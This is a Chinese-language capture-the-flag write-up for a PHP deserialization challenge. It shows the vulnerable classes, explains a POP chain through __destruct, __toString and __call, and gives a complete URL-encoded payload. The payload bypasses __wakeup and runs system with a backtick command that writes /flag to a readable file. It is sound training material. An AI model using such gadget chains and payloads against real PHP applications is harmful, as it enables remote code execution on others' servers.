php反序列化练习
目标环境
- PHP/5.6.24
- linux
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
class DM_NO_1{
private $a ;
public function __wakeup(){
$this->a = 'dmctf2019';
}
public function __destruct(){
if ($this->a != 'dmctf2020'){
die('2019 is out!');
}
}
}
class DM_NO_2{
private $b;
private $c;
private $d;
private $e;
public function __toString(){
$func = $this->c;
$func();
if(DM_NO_3::$flag){
$this->b->{$this->d}($this->e);
}
}
}
class DM_NO_3{
public static $flag = 0;
public function set_flag(){
self::$flag = 1;
}
function __call($name, $args){
$name(json_encode($args));
}
}
$pop = $_GET['pop'];
unserialize($pop);
知识点
- __wakeup将在序列化之后立即被调用,需要绕过
- __destruct当一个对象销毁时被调用
- __toString当一个对象被当作一个字符串使用
- __call当调用一个不存在的函数时调用此方法
WP
- 根据代码
unserialize($pop);反序列化相应数据。
$pop = $_GET['pop'];
unserialize($pop);
- __wakeup被调用后,只有
$this->a = 'dmctf2019';赋值语句,且__destruct存在字符串比较函数,因此$this->a为DM_NO_2对象。
class DM_NO_1{
private $a ;
public function __wakeup(){
$this->a = 'dmctf2019';
}
public function __destruct(){
if ($this->a != 'dmctf2020'){
die('2019 is out!');
}
}
}
- DM_NO_2的__toString函数有
if(DM_NO_3::$flag)判断,因此$func();需要调用DM_NO_3的set_flag函数,$this->c则为set_flag。$this->b为DM_NO_3对象,$this->d为相关函数调用,$this->e为相关方法。
class DM_NO_2{
private $b;
private $c;
private $d;
private $e;
public function __toString(){
$func = $this->c;
$func();
if(DM_NO_3::$flag){
$this->b->{$this->d}($this->e);
}
}
}
- DM_NO_3的__call方法调用不存在的方法时,会走到
$name(json_encode($args));,$name和$args为DM_NO_2相关可控参数,json_encode会转为json字符串,且__call调用时会把$args转为Array类型,转为字符串则包含'[xxx]'字符串,这里需要用到linux平台的特定知识,反引号会作为命令优先执行,这样就不怕system命令执行失败。
class DM_NO_3{
public static $flag = 0;
public function set_flag(){
self::$flag = 1;
}
function __call($name, $args){
$name(json_encode($args));
}
}
- 构造序列化数据。
<?php
class DM_NO_1{
public $a ;
public function __wakeup(){
$this->a = 'dmctf2019';
}
public function __destruct(){
if ($this->a != 'dmctf2020'){
die('2019 is out!');
}
}
}
class DM_NO_2{
public $b;
public $c;
public $d;
public $e;
public function __toString(){
$func = $this->c;
$func();
if(DM_NO_3::$flag){
$this->b->{$this->d}($this->e);
}
}
}
class DM_NO_3{
public static $flag = 0;
public function set_flag(){
self::$flag = 1;
}
function __call($name, $args){
$name(json_encode($args));
}
}
$demo1 = new DM_NO_1();
$demo2 = new DM_NO_2();
$demo3 = new DM_NO_3();
$demo2->b=$demo3;
$demo2->c=[$demo3,'set_flag'];
$demo2->d='system';
$demo2->e='`cat /flag > test.txt`';
$demo1->a=$demo2;
echo serialize($demo1);
?>
- 获取序列化数据为
O:7:"DM_NO_1":1:{s:1:"a";O:7:"DM_NO_2":4:{s:1:"b";O:7:"DM_NO_3":0:{}s:1:"c";a:2:{i:0;r:3;i:1;s:8:"set_flag";}s:1:"d";s:6:"system";s:1:"e";s:22:"`cat /flag > test.txt`";}},因为变量是私有变量,因此补充a为%00DM_NO_1%00a等等,最终的payload为:O:7:%22DM_NO_1%22:4:{s:10:%22%00DM_NO_1%00a%22;O:7:%22DM_NO_2%22:4:{s:10:%22%00DM_NO_2%00b%22;O:7:%22DM_NO_3%22:0:{}s:10:%22%00DM_NO_2%00c%22;a:2:{i:0;r:3;i:1;s:8:%22set_flag%22;}s:10:%22%00DM_NO_2%00d%22;s:6:%22system%22;s:10:%22%00DM_NO_2%00e%22;s:22:%22`cat%20/flag%20%3E%20test.txt`%22;}}。最后访问输出的txt即可。
- 如图


评论 (0)
还没有评论,来抢沙发吧。
发表评论